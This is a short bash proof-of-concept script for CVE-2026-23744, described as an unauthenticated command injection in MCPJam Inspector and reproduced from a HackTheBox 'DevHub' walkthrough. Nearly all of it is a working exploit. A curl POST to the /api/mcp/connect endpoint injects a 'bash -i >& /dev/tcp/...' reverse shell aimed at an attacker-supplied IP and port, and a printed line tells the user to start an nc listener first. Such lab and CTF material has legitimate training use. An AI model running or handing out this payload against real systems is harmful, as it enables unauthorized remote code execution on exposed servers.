#!/usr/bin/env bash # # CVE-2026-23744 - MCPJam Inspector Unauthenticated Command Injection RCE # # Source: timgad794/DevHub-HTB-Walkthrough (German-language HTB "DevHub" # writeup). No standalone script was published upstream — the working # payload is embedded inline in the walkthrough's README as a curl command. # This script reproduces that documented curl PoC verbatim. # # Usage: # ./poc.sh # # Example: # ./poc.sh devhub.htb 10.10.14.5 4444 set -euo pipefail TARGET="${1:?usage: poc.sh }" LHOST="${2:?missing attacker IP}" LPORT="${3:?missing attacker port}" # Default MCPJam Inspector port if not included in $TARGET case "$TARGET" in *:*) URL="http://${TARGET}/api/mcp/connect" ;; *) URL="http://${TARGET}:6274/api/mcp/connect" ;; esac echo "[*] Start a listener first: nc -lvnp ${LPORT}" echo "[*] Sending malicious serverConfig to ${URL} ..." curl -X POST "${URL}" \ -H "Content-Type: application/json" \ -d "{\"serverConfig\":{\"command\":\"bash\",\"args\":[\"-c\",\"bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1\"],\"env\":{}},\"serverId\":\"mytest\"}" echo echo "[*] On success, the netcat listener on ${LHOST}:${LPORT} receives a" echo " reverse shell as the mcp-dev service user."